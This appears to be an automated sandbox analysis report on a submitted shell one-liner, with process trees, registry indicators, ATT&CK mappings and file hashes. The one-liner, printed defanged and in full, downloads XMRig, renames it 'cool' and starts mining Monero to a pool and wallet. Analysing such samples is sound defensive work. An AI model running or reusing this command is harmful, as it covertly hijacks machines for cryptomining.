hxxp://wget hxxps://github[.]com/xmrig/xmrig/releases/download/v6[.]21[.]3/xmrig-6[.]21[.]3-linux-static-x64[.]tar[.]gz && tar -xz -f xmrig-6[.]21[.]3-linux-static-x64[.]tar[.]gz && cd xmrig-6[.]21[.]3 && mv xmrig cool && [.]/cool -o xmrpool[.]eu[:]3333 -u 4BCzRFseZPce3GUMsqGEHjeSgzzBhE3C72JdGdapz3kgdWpq4ri7NbNfTKCotSdAP2a6c6f4Qq3XHWRMJX1EYJnrDrSeJG3

Analysis

max time kernel
13s
max time network
14s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
21/07/2024, 18:37

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General

Target

http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 4BCzRFseZPce3GUMsqGEHjeSgzzBhE3C72JdGdapz3kgdWpq4ri7NbNfTKCotSdAP2a6c6f4Qq3XHWRMJX1EYJnrDrSeJG3

Score

1^/10

Malware Config

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4024	msedge.exe
4024	msedge.exe
4024	msedge.exe
2604	msedge.exe
2604	msedge.exe
3912	identity_helper.exe
3912	identity_helper.exe
3628	msedge.exe
3628	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 784	2604	msedge.exe	78
PID 2604 wrote to memory of 784	2604	msedge.exe	78
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 1872	2604	msedge.exe	79
PID 2604 wrote to memory of 4024	2604	msedge.exe	80
PID 2604 wrote to memory of 4024	2604	msedge.exe	80
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81
PID 2604 wrote to memory of 2736	2604	msedge.exe	81

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 4BCzRFseZPce3GUMsqGEHjeSgzzBhE3C72JdGdapz3kgdWpq4ri7NbNfTKCotSdAP2a6c6f4Qq3XHWRMJX1EYJnrDrSeJG3
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc499a3cb8,0x7ffc499a3cc8,0x7ffc499a3cd8
  2⤵
  PID:784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2
  2⤵
  PID:1872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
  2⤵
  PID:2736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:1
  2⤵
  PID:4172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
  2⤵
  PID:2264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3936 /prefetch:1
  2⤵
  PID:1700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:3140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
  2⤵
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5260 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5256 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4048 /prefetch:1
  2⤵
  PID:4440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3936 /prefetch:1
  2⤵
  PID:4320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9461110878745709228,15918696186304503057,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:1
  2⤵
  PID:1264

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3408

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
bb87c05bdde5672940b661f7cf6c188e

SHA1
476f902e4743e846c500423fb7e195151f22f3b5

SHA256
7b7f02109a9d1f4b5b57ca376fcacd34f894d2c80584630c3733f2a41dddf063

SHA512
c60d8b260d98ced6fe283ca6fed06e5f4640e9de2609bcfbfa176da1d0744b7f68acabfa66f35455e68cad8be1e2cfc9b5046463e13ae5f33bbbf87a005d1e0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
5478498cbfa587d1d55a9ca5598bf6b9

SHA1
82fedfb941371c42f041f891ea8eb9fe4cf7dcc8

SHA256
a4e82ce07a482da1a3a3ba11fcceee197c6b2b42608320c4f3e67f1c6a6d6606

SHA512
7641a2f3cc7321b1277c58a47dfd71be087f67f8b57dca6e72bd4e1b664f36151cd723e03ea348835581bcb773eb97911f985d5ee770d4d1b8b6f7849ce74b44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
e5b63f3f9cdd2bb625c78adcf3f3a07e

SHA1
35e687edf9f573366bcfa71cc19303e57a5ba0f7

SHA256
ebe1ff4978a2db31f9686725bd33817aa08ca88e5042d7b39805707b16f4eefd

SHA512
e5e88cfb4f67926300e404d54419aad60844c1b8b0b4b9f04fc0fcf095513f2fe810fc055ab450610e625ba520ebe4a654eb15786151073d2c5f5a0fdd1670c1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
3dc155be8c4976aebc73b487debcb3fe

SHA1
a47bbb924820fc4d5540eb7be21f0b4fdaccdd5e

SHA256
9b72332db9454eb255a40138bd689db630764d785e396705f1e401130bd75dc9

SHA512
9674d7840ed80a54fa37f369e75cbb21040372acaa375503cc4bb5e039aa0ed216b5e1033c15b54dc84294d866931f240b315e165daba4d0f79671e257590385

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
593e30ae18d2be98120739335bcfb2d1

SHA1
10b75fa447a0d7fdb212e11e00eb8ffc6f9f8c85

SHA256
2df2a0070cc4ea71f6a1aaba34060e94da8e3c38008b1c6c570c5401676ec7aa

SHA512
8509432bb4925a79019b9e57f038916fc8d50b5f9cc1183c94ff8f9e7d5cf18cc8cc3e48e3927206ac75fec21fcde367cc079a0abe0f1bd48d2946983db32452

Download Submit